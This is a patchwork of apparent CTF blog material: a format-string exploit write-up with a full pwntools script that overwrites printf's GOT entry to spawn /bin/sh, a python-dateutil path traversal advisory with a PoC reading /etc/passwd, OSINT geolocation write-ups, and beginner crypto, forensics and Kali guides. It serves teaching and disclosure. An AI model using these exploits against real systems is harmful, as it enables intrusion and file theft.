Help design the office space for Brick City’s new skyscraper! read flag.txt for design specifications

Files

• BrickCityOfficeSpace: The vulnerable 32-bit target executable
• ld-linux.so.2: The 32-bit dynamic linker
• libc.so.6: The specific C standard library used on the target server
• flag.txt: The goal file containing the flag

Initial Observations

• The presence of ld-linux.so.2 and libc.so.6 immediately indicated a 32-bit environment
• The program prompts for input (“Send your design as ASCII art”) with a stated limit of “592 bricks,” indicating a large buffer for payloads
• The input AAAA.%p.%p.%p... successfully leaked stack memory, confirming a format string vulnerability
  • Our test string 0x41414141 appeared at the 4th position
• No PIE and no RELRO, meaning the Global Offset Table (GOT) was writable and at a static address

Vulnerability Analysis

Where is the bug?

The function responsible for printing the user’s submitted ASCII art design back to the terminal

Why does it exist?

The user-controlled input buffer is passed directly to a print function without using a format specifier

What primitives does it give you?

Arbitrary read and write

Exploitation Strategy

• Send a payload containing the GOT address of printf followed by %4$s. This forces the program to print the real, runtime memory address of printf from the dynamically loaded libc
• Subtract the static printf offset (found in libc.so.6) from our leaked address to calculate the libc base address. Then, add the static offset of system to find its real memory address
• Use fmtstr_payload to overwrite the GOT entry for printf with the newly calculated address of system
• On the final iteration of the loop, send the string /bin/sh. The program will attempt to call printf("/bin/sh"), but because the GOT was hijacked, it will execute system("/bin/sh") instead, granting an interactive shell
• Run cat flag.txt in the interactive shell to print the flag to the terminal

Full Exploit Script

from pwn import *

# Set up logging to catch I/O hangs
context.log_level = 'debug' 

# Set up the environment
context.binary = elf = ELF('./BrickCityOfficeSpace')
libc = ELF('./libc.so.6') 

io = remote("brick-city-office-space.pwn.ctf.umasscybersec.org", 45001)

# Loop 1: leak
io.recvuntil(b"BrickCityOfficeSpace> ") 

# Payload: Read the real memory address stored inside printf's GOT entry
printf_got = elf.got['printf'] 
leak_payload = p32(printf_got) + b"%4$s"

io.sendline(leak_payload)
io.recvuntil(p32(printf_got)) 
printf_leak = u32(io.recv(4)) 

log.success(f"Leaked printf address: {hex(printf_leak)}")

# Stage 2: math
libc.address = printf_leak - libc.symbols['printf']
log.success(f"Libc Base: {hex(libc.address)}")

system_addr = libc.symbols['system']
log.success(f"System address: {hex(system_addr)}")

# Trigger the next loop
io.sendlineafter(b"(y/n)", b"y") 

# Loop 2: overwrite
io.recvuntil(b"BrickCityOfficeSpace> ")

# Use pwntools to automatically generate the complex %n payload
# offset=4, write the system_addr into printf_got
overwrite_payload = fmtstr_payload(4, {printf_got: system_addr})
io.sendline(overwrite_payload)

# Trigger the final loop
io.sendlineafter(b"(y/n)", b"y")

# Loop 3: pop shell
io.recvuntil(b"BrickCityOfficeSpace> ")

# The GOT is now hijacked. printf is now system.
io.sendline(b"/bin/sh")

# Drop to interactive mode to interact with the shell
io.interactive()

Demo / Output

Key Takeaways

Vulnerability class

Format String Vulnerability

What you’d do differently or what tripped you up?

I/O synchronization with pwntools caused the exploit script to hang initially

python-dateutil <= 2.9.0.post0 allows path traversal via unsanitized TZID values in rrulestr(). Attacker-controlled RFC 5545 recurrence rule strings can trigger arbitrary file reads and file existence disclosure on the host filesystem.

Vulnerable Piece

dateutil.rrule._rrulestr._parse_date_value() — extracts TZID from input and passes it directly to dateutil.tz.gettz() with no path validation.

Root Cause

The TZID parameter is extracted via regex (TZID=(?P<name>[^:]+):) and forwarded to gettz(), which joins it with system timezone paths using os.path.join(). Directory traversal sequences like ../ are never stripped or rejected.

Data flow:

rrulestr(user_input)
  → _parse_date_value() extracts TZID     # rrule.py:1576
  → tz.gettz(unsanitized_tzid)            # rrule.py:1591
  → os.path.join("/usr/share/zoneinfo", unsanitized_tzid)  # tz.py:1634
  → open(resolved_path, 'rb')             # tz.py:464

Impact

File existence oracle — three distinguishable outcomes reveal file state:

File read — the first 4 bytes of any targeted file are read. Files conforming to TZif format are fully parsed, with content accessible via tzname().

PoC

from dateutil.rrule import rrulestr

# Probes /etc/passwd existence — raises ValueError("magic not found")
rrulestr(
    "DTSTART;TZID=/etc/passwd:20200101T000000\nRRULE:FREQ=YEARLY",
    forceset=True
)

CWE

• CWE-22 (Path Traversal)
• CWE-204 (Observable Response Discrepancy)

Mitigation

Pass tzids=<dict or callable> to rrulestr() to prevent the default gettz() dispatch.

Open-source intelligence, or OSINT, refers to all the data that’s available publicly online. OSINT challenges in CTFs involve the resourceful use of such data to (typically) geolocate an image or track a user’s digital footprint. Most CTFs will have at least a few OSINT challenges, making it a pretty useful skill to learn.

Geolocation

Most geolocation challenges just use screenshots from Google Maps, so we can exploit the usual GeoGuessr “metas.” The metas involve identifying features of the Google Maps Street View car and other objects around the car. The usual GeoGuessr resources such as Plonkit and Geohints can be used as reference.

Example 1

In a recent CTF that ended (0xfun 2026), players were presented with the following image and ask to identify the road that the image was taken on.

The only identifying feature in the image is the back trunk of the Google car in the bottom right corner of the image. Using Geohint’s Google Vehicle meta, we can look through the car images until we find Denmark, which has the exact same Google Car trunk.

Clicking “Open in Google Maps” tells us we are in Denmark, on a road named Kongebrovej.

Even Gemini 3-Thinking (usually a very strong model for OSINT due to its training on Google Maps) was unable to answer correctly:

OSINT

Aside from geolocation, many OSINT challenges require you to track the digital footprint of an internet account. While most challenges can be solved with Googling, there are a few good resources I recommend:

• OSINT Framework - Great aggregator of OSINT tools
• Sherlock - Search a username across 400+ social media websites

This blog post will contain the following challenges: ‘Under Construction’, ‘Drinks’, ‘Beautiful’, ‘🥥🍦’, ‘Food’, and ‘Ts class pmo’.

For other challenges, I will add them right under here when I receive them from the competition team.

Big Red Curve

With that being said, here are the writeups for my challs!

Web

Under Construction

2 solves

I thought of this challenge when I was in Vietnam, which was also when I had to do scripting and infra for the CCDC team, so I made this (what I thought) simple blind-web challenge.

The challenge started with this static web page and no given src

Looks boring. Let’s see what’s underneath by viewing the page source

We can immediately tell that this is running on React and Next.js. From a pentester standpoint, it is almost second nature to check for the version of the webpage’s server. This can be done by adding the -I flag to curl, and this is the result of doing so.

Even if you didn’t know this existed, an nmap service scan with -sV will also reveal it. It’s even in one of the chunks, I think.

From there, it simply became another OSINT challenge. If you’ve been listening to security news for the past 2 months or have built web apps yourself, you have definitely heard of the critical CVE-2025-55182 / CVE-2025-66478, more commonly known as React2Shell. This 10.0 CVSS-scored vulnerability has affected thousands of websites since React.js with its server components has been a staple for many developers to use.

If you have figured it out this far, all that’s left is to find a Proof-of-Concept (PoC) that can exploit this vulnerability. I found this one to be effective.

Then reading the flag is trivial after getting shell.

ccy{Y0u_g0tta_r3ad_th3_CVEs_bruh_:wilted_rose:}

To those who asked why this challenge didn’t have an instancer as someone could’ve just rm -rf the whole container, I have already made it so you’re an unprivileged user in a read-only tmpfs root filesystem.

Honestly I wanted to write an actual challenge instead of this, but we’ll just have to wait for the next CTF.

OSINT

Now for everyone’s favorite part: OSINT! This semester, I spent a big chunk of my winter break in Vietnam. Had lots of food and drinks (definitely needed that) and went to a lot of cool places.

Drinks

18 solves

I had drinks here. Drinks were mid, view is ok. Find the google maps location of the coffee shop

e.g. ccy{343 Campus Rd, Ithaca, NY 14853}

If you look at the image as a whole, you wouldn’t be able to get much. Just a view of the beach and some people chilling. But if you zoom in on the right, you’ll see a weird sculpture on a piece of rock.

If you crop the photo onto the sculpture, you’ll see it’s the “Hòn Rù Rì” in Vũng Tàu, Vietnam. I’ve seen it falsely detect to stuff in Thailand or other places, but if you got lucky and did not fall into that rabbit hole, then you can easily identify where this was on Google Maps.

The coffee shop location added a little caveat to the problem. We can see that there is a bridge directly connecting the shop to the rock. This means that there is a direct path to the monument.

The flag then is:

ccy{1 Trần Phú, Phường 1, Vũng Tàu, Bà Rịa - Vũng Tàu 78000, Vietnam}

Beautiful

15 solves

Isn't the beach so beautiful. Find the google maps location

e.g. ccy{343 Campus Rd, Ithaca, NY 14853}

Honestly I expected much fewer solves for this challenge, as I thought it was just a random tunnel I found that led to a beautiful scene.

Turns out if you just put the second image into Google Images, it will spit out the correct address. Idk why I didn’t check for this when making this chall XD. The intended solve was to go around the coast of Vũng Tàu to find this tunnel. Oh well.

ccy{107 Trần Phú, Phường 5, Vũng Tàu, Bà Rịa - Vũng Tàu, Vietnam}

🥥🍦

14 solves

I love coconut ice cream. Find me the google maps address e.g. ccy{343 Campus Rd, Ithaca, NY 14853}

This challenge bumped up a tiny bit in difficulty. When directly putting this image into Google Images, nothing of interest really pops up. Just coconut ice cream near the coastline. You’d probably guess it’s Vietnam again and you’d be correct.

From there, you could just look around the coastline for the place — perfectly valid.

Another solution path is to realize the facebook post that pops up when looking up the image. The view does look the same as the challenge image, except at a slightly different angle. This turns out to be an advertisement post for the store, CocoDeli.

The flag is then obvious from there

ccy{154A Hạ Long, Phường 2, Vũng Tàu, Bà Rịa - Vũng Tàu 78000, Vietnam}

Food

5 solves

O NOM NOM NOM NOM. Find the google maps location
e.g. ccy{343 Campus Rd, Ithaca, NY 14853}

This is where the challenges got difficult. A Google Images search on the first photo would reveal that the food I was eating was called bánh khọt. If you noticed, there were either shrimps or squids there also, which in Vietnamese would be tôm or mực, respectively. Creatively, the full name of that dish is bánh khọt tôm or bánh khọt mực.

However, a problem quickly arises: there are too many places that sell that food in the area. You could go through all of the stores that sell the food — nothing wrong with that — but there are better ways to do this.

Looking at the second picture, you might have noticed that the store is located on a small road (You could see the car and refer to that). That’s a big hint as a lot of the stores are tourism traps, which are usually out on the open roads.

There is also something subtle in the picture that some might have missed, and that is the numerical address. If you zoom in to the middle-right side of the picture, you’ll see the number “11”. This means that our store is probably numbered from 8-14 (depends on the direction).

From there, it is quite easy to determine which one it is. There are only, like, 3-4 stores that fit all requirements, and this was the one I was looking for.

ccy{8B Lương Văn Can, Phường 2, Vũng Tàu, Bà Rịa - Vũng Tàu, Vietnam}

Ts class pmo

Whyyy do I have to take this class? Whyyy is it required for me. Flag is ccy{Class} e.g. ccy{CS1110}

I got the most amount of backlash for this challenge, saying that this is practically impossible, given the limited 5 attempts to solve. Here was my thought process on the solve for this challenge.

Finding my major

In order to find out which class this was, the first step should be to find out what major I am. The people who knew me would remember that I’m a Chemical Engineer. Surprisingly, only 1 out of the 5 people who solved this chall knew who I was. This would, of course, give an unfair advantage, so I also mentioned it in the Cornell University public Discord Server

Finding the class

Okay, that reduces it down a bit. But what type of class should I be looking for? The hint did mention that it was a required class, so electives and upper level classes are out of the picture. But there are still so many classes to choose from.

Looking up the TAs

We see in the picture that Angel and Lara are passing back the exams. If you looked up “Angel Cornell Chemical Engineering” and “Lara Cornell Chemical Engineering” then you would find hits with both of them being seniors.

A “leap” of logic

A small jump in logic here is required. Seeing how both TAs are ChemE seniors, this is most likely a class full of ChemEs. From there, it’s very easy to deduce which class it is. If you found any of my socials — either Instagram or Linkedin or even in the Discord servers — you would know that I’m a class of ‘28. This means that I am currently a sophomore in semester 4 in 2026. Which leaves the only class which could be filled with ChemE’s EngrD2190 from the ChemE flowchart.

Thus the flag is:

ccy{EngrD2190}

Thanks for reading this blog, it was quite fun making it.

• Running a virtual machine (VM)
• Enabling WSL2 on Windows
• Using a cloud service (generally will cost money)
• Installing Linux to your computer or dual booting (not necessary nor recommended for beginners)

The fastest way to get things running is simply using WSL2 (if you have Windows), but in the long run, it is safer and better practice to run virtual machines.

VirtualBox and Kali

VirtualBox is an open source program to manage virtual machines. There are other programs like VMware and QEMU which you may use if you prefer. The instructions for installing Kali Linux in VirtualBox is described here: Setting up Kali in VirtualBox - I plan on switching this to markdown eventually.

WSL2 Kali

1. Open Powershell as administrator
2. Run the command wsl --install
3. Go the the Microsoft store and install Kali Linux
4. You may need to reboot your computer
5. You should now be able to run a shell in Kali Linux

Your main drive in WSL should be accessible in the directory /mnt/c (or whatever your main drive letter is).

Post-Installation

It’s a good idea to update your system once installed and update your system periodically. The first update will usually take a while, but it will be faster subsequent times if you update frequently. In Kali, the commands to update are as follows:

sudo apt update — it will ask you to authenticate sudo apt upgrade — type ‘y’ to approve then hit enter

For People with No Time

These are the most important headings to read and understand:

• Symmetric vs asymmetric encryption (the video is probably the best explanation)
• Hashing
• Techniques for breaking hashes/passwords

Introduction

These challenges test your understanding of encryption, decryption, hashing, and related security concepts. This guide covers fundamental cybersecurity knowledge needed to approach these challenges effectively.

Classical Encryption

Substitution Cipher

• Replaces each letter or symbol with another letter or symbol
• Can be broken with frequency analysis—looking for how common characters are used to determine what letter they map to

https://pi.math.cornell.edu/~morris/135/letterfreq.jpg

One-Time Pad (OTP)

One-time pad is like a substitution cipher except the mapping is continuous—what each character maps to changes every time the letter is used. The power of OTP is that it is theoretically unbreakable. However, the pad must be continuously changed, it cannot be reused, and the mapping must be random.

Other Ciphers

• ROT13 (Caesar cipher)
• Vigenère Cipher
• Rail Fence

Helpful Operations

XOR (Exclusive OR)

In binary, the XOR function has the following mapping:

It is the equivalent to saying you can have one or the other but not both. A 1 or a 0 but not both 1s or both 0s.

The XOR is denoted with ⊕ in math or ^ in code.

The power of XOR is in how it relates values together. If the plaintext is 0011 and the randomly generated key is 1010, the ciphertext is 0011 ^ 1010 = 1001. Now we can combine the ciphertext with the key to get the plaintext: 1001 ^ 1010 = 0011 or combine the plaintext with the ciphertext to get the key 1001 ^ 0011 = 1010. With any two values, you can get the third with XOR.

XOR offers a fairly simple way to implement OTP. Simply take the data you want to encrypt in binary, generate a random key in binary of the same length, and XOR them together to get your ciphertext which is mathematically impossible to break if properly implemented. XOR is also used for error correction.

Modulus

Modulus is the remainder after division, often denoted with % in programming. What’s nice about it is that it’s easy to verify the remainder of two numbers but difficult to determine the original numbers from the remainder. There are also some neat theorems in modulus math.

Forms the basis of algorithms like RSA Enables finite field arithmetic Example: 17 % 5 = 2

Prime Numbers

Finding prime numbers is computationally expensive because you must find every prior prime number to verify. When you take the product of two prime numbers, the only factors of the product are the prime numbers you used, itself, and 1. This is helpful in cryptography because it is very easy to find the product of two large prime numbers but difficult to find the factors only knowing the product.

Symmetric vs. Asymmetric Encryption

Symmetric Encryption

Same key for encryption and decryption Fast and efficient for large data Examples: AES, DES, Blowfish Key distribution is a challenge CTF challenges often involve finding the key

Asymmetric Encryption

Different keys for encryption (public) and decryption (private) Slower than symmetric encryption Examples: RSA, ECC, ElGamal Solves key distribution problem CTF challenges often involve mathematical weaknesses

Here is a very good video that explains how both symmetric and asymmetric encryption works: Will Quantum Computers break encryption? Watch up to 5:20 (it will talk about quantum encryption after which we won’t cover).

Many internet protocols, including HTTPS which secures web traffic, will use both asymmetric and symmetric encryption.

Modern Encryption

DES (Data Encryption Standard)

• A symmetric key encryption system
• Essentially broken with modern systems

RSA (Rivest-Shamir-Adleman)

• Public-key cryptosystem based on the difficulty of factoring large primes
• Key components:
  • Public key: (n, e) where n = p × q (p, q are large primes)
  • Private key: d (calculated from e, p, q)
  • Encryption: C = M^e mod n
  • Decryption: M = C^d mod n
• CTF challenges may involve:
  • Small prime factors
  • Low encryption exponents
  • Common modulus attacks
  • Timing attacks

Hashing and Password Security

Hashing

A hash function is a one-way function that maps data to fixed-size values. An example is the word “hello” producing the hash “5d41402abc4b2a76b9719d911017c592” with the MD5 algorithm.

Hash functions generally have the following properties:

• Deterministic: same input always produces same output
• Quick to compute*
• Infeasible to reverse
• Small changes in input cause large changes in output

*Sometimes hash functions are intentionally made slower to defend against brute forcing attacks.

Hash functions are particularly useful for three applications:

1. Password storage. Instead of storing passwords in plaintext for anyone to see, you can hash the passwords beforehand and then just compare the hashes to validate passwords without ever storing the real password.
2. Verifying data integrity. For example, when police take in large data hard drives for evidence, they might save a hash of the data to ensure the data wasn’t corrupted or tampered with. Since any small error will result in a completely different hash function, data integrity can be checked by hashing the data again and comparing if the hashes are the same.
3. Hashmaps in programming which we will not talk about.

• Common algorithms: MD5, SHA-1, SHA-256, SHA-512
• Today, MD5 and SHA-1 are not considered secure for password storage due to low complexity and known hashes saved in databases

Salting

Salting is a strategy to increase the security of a hash by appending some data at the end of a password before hashing.

• Reduces the effectiveness of rainbow tables and precomputed attacks
• Unique per password
• Format often: hash(password + salt)
• Example: hash(“password” + “r4nd0m”) instead of just hash(“password”)

Password Storage

Windows

• Security Account Manager (SAM) database
• Will not be covered in depth

Linux

• /etc/passwd on older systems and /etc/shadow on newer systems
• Only root can view /etc/shadow
• All passwords are hashed

In General

• Best practices:
  • Never store plaintext passwords
  • Use strong hashing algorithms (bcrypt, Argon2, PBKDF2)
  • Implement proper salting
• Common vulnerabilities in CTFs:
  • Weak hashing algorithms
  • No salting
  • Predictable salts
  • Database dumps with password hashes

Techniques for Breaking Hashes/Passwords

• Brute forcing: Trying every possible password
• Dictionary attack: Similar to brute forcing. Uses wordlists of common passwords or can be more specific to the target like pet names, sports teams, company lingo, etc. There are many wordlists online of common passwords—a particularly famous one is rockyou.txt from a 2009 data breach of over 32 million accounts with passwords stored in plaintext. Kali will have a couple wordlists including rockyou.txt saved by default.
• Rainbow Tables/precomputed hashes: There are databases mapping common passwords to their respective hashes making it easy to break MD5 and SHA-1 hashes.
• Exploiting pseudo-random generation: Computers technically cannot generate true random values. They might take data like time, CPU temperature, mouse movements, etc. as seeds to help generate pseudo-random values. If such data is predictable, a hacker may be able to guess.

Understand that brute forcing takes a very long time. It might be helpful to do some quick math to estimate how long a brute force attack will take. You can try running a brute-forcing program for a few minutes and check the progress to estimate how long it will take. Most CTFs should not take more than a couple minutes to solve with the correct technique. If a brute force attack takes on the order of hours to solve, there is an easier way to solve it.

Tools

John the Ripper

• Versatile password cracker
• Supports many hash types
• Features:
  • Dictionary attacks
  • Brute force
  • Rule-based attacks

Hashcat

• GPU-accelerated password cracker
• Extremely fast compared to CPU-based tools

Mimikatz

• Windows security tool for extracting plaintext passwords
• Can extract Windows password hashes
• Look for Windows memory dumps in CTF challenges

OpenSSL

• Toolkit for TLS/SSL protocols and general cryptography
• Features:
  • Generate keys and certificates
  • Encrypt/decrypt files
  • Create and verify signatures

CTF Approach for Crypto Challenges

1. Identify the algorithm: Look for clues in the challenge description or file format
2. Check for known vulnerabilities: Research common attacks against the identified algorithm
3. Look for implementation flaws: CTFs often include deliberate weaknesses
4. Use appropriate tools: Select the right tool based on the challenge type
5. Document your process: Keep track of attempted approaches

Practice Resources

• CryptoHack - Interactive cryptography challenges
• CryptoPals - Practical cryptography challenges
• OverTheWire: Krypton - Cryptography wargame

It’s incredibly unlikely that you will find a zero-day vulnerability in encryption algorithms. More likely, the issue is in proper implementation ie. reused keys, low complexity, improper key exchange, etc.

Introduction

Forensics challenges in Capture The Flag (CTF) competitions test your ability to discover hidden information within files, systems, or data. These challenges simulate real-world digital forensics scenarios where investigators must recover evidence from digital artifacts. This guide covers the fundamental concepts and tools you’ll need to tackle forensics challenges.

Key Forensics Areas

Encodings

Encodings are methods of representing data in different formats:

• Binary: Raw 1s and 0s representation. A single binary character is a bit and eight are bytes. Refer to standard metric prefixes for larger sizes (ie. kilobyte indicates 1,000 bytes… or 1,024).
• Base64: Common encoding that converts binary data to ASCII text. It often ends with equals signs = but not always.
• Hexadecimal: Represents binary data using the characters 0-9 and A-F. It is common to do file analysis with hex editors because hexadecimal is a convenient way to represent binary data—a byte can be represented with only two hex characters.
• ASCII/ANSI/Unicode: Character encoding standards. When you open a file in Notepad, you are seeing the data interpreted with the ANSI encoding. ASCII and ANSI cover the standard characters and operations you see on your keyboard (a-z, A-Z, 0-9, !, [backspace], etc.) while Unicode is an extension for other languages.
• URL Encoding: Converts special characters for use in URLs

It is important to note that encoding is not the same thing as encrypting. The purpose of encryption is to make the data unreadable to outsiders while encoding is just another way to format the data.

When approaching an encoding challenge, identify the encoding type first, then use the appropriate tool to decode it. To identify the encoding method, consider what characters are being used and note if the data seems to be random or somehow structured. Multiple layers of encoding are common.

Try playing with CyberChef which makes converting between encodings easy.

File Formats

You’ve probably heard of file types: PDF, JPG, PNG, DOCX, etc. All of these formats specify how programs should be formatted for programs to interpret—ie. a JPG file is meant to be read as a picture, not a document.

A file extension, the last part of a filename, can technically be set to anything. For example, the file hello.png has the extension .png . However, I could rename the file to hello.docx and then Microsoft Word may try to open the file. Of course, it would not work since it would be reading the data wrong.

Files can contain hidden data or be disguised as different types:

• File signatures/magic bytes: First few bytes that identify a file type
• File extension manipulation: Files with incorrect extensions
• File carving: Extracting files from within other files
• Corrupted files: Intentionally damaged files that need repair

Always check if a file’s actual type matches its extension using tools like the file command which will check the magic bytes for the file format. You can use hex editors to reveal a file’s true structure. A common Linux hex editor is xxd, though online ones are often more featureful.

Metadata

Metadata is “data about data” and can contain hidden information:

• EXIF data: Found in images, including camera details, GPS coordinates, timestamps
• Document properties: Author, creation date, revisions in documents
• File system metadata: Creation, modification, access times

Creators often hide flags in metadata fields that aren’t immediately visible when viewing a file. A good utility for viewing EXIF data is exiftool.

Steganography

Steganography is the practice of hiding data within other data:

• Image steganography: Hiding data in image pixels, often in least significant bits
• Audio steganography: Concealing data in audio files, sometimes audible only in spectrograms
• Text steganography: Using invisible characters, specific letter patterns, or whitespace

Stego challenges may require password extraction from other parts of the challenge. For years, I have referred to 0xRick’s list of steganography tools for common steg-solving programs. Aperisolve is another tool which will automate many steganography and analysis operations.

Disk Image and Memory Forensics

These challenges involve analyzing captured system states:

• Disk images: Complete copies of storage devices containing file systems, deleted files. They can be analyzed with tools like Autopsy.
• Memory dumps: Snapshots of system RAM, containing running processes, passwords in cleartext. An appropriate tool for memory dumps is Volatility.
• Registry analysis: Windows registry keys and values that may contain important information
• Log analysis: System and application logs that record events

These challenges most closely resemble professional digital forensics work. We will not be going in depth on disk image forensics and memory forensics, though it can be fun to learn.

Often, the challenges will consist of looking through dumps for files, programs, and running processes containing cool information.

Tools

• CyberChef - Quickly convert encodings
• 0xRick Steganography - List of steganography commands
• Aperisolve - Automate several basic steganography tasks
• Autopsy - Analyze disk images
• Volatility - Analyze memory dumps
• HexEd.it - Online hex editor

General Approach to Forensics Challenges

1. Identify the challenge type: Determine what kind of forensics challenge you’re facing.
2. Examine the file properties: Check file type, size, and metadata.
3. Use appropriate tools: Select tools based on challenge type.
4. Think creatively: CTF creators often use misdirection; look beyond the obvious.
5. Document your process: Track what you’ve tried to avoid repetition.

Remember, forensics challenges often combine multiple concepts. The best approach is methodical analysis using appropriate tools while documenting your steps.

Optional Readings

• CTF Handbook - Forensics

Practice Problems on picoCTF

• Secret of the Polyglot
• Scan Surprise
• Redaction gone wrong
• Matryoshka doll
• So Meta
• extensions
• DISKO 1
• Sleuthkit Intro
• Disk, disk, sleuth!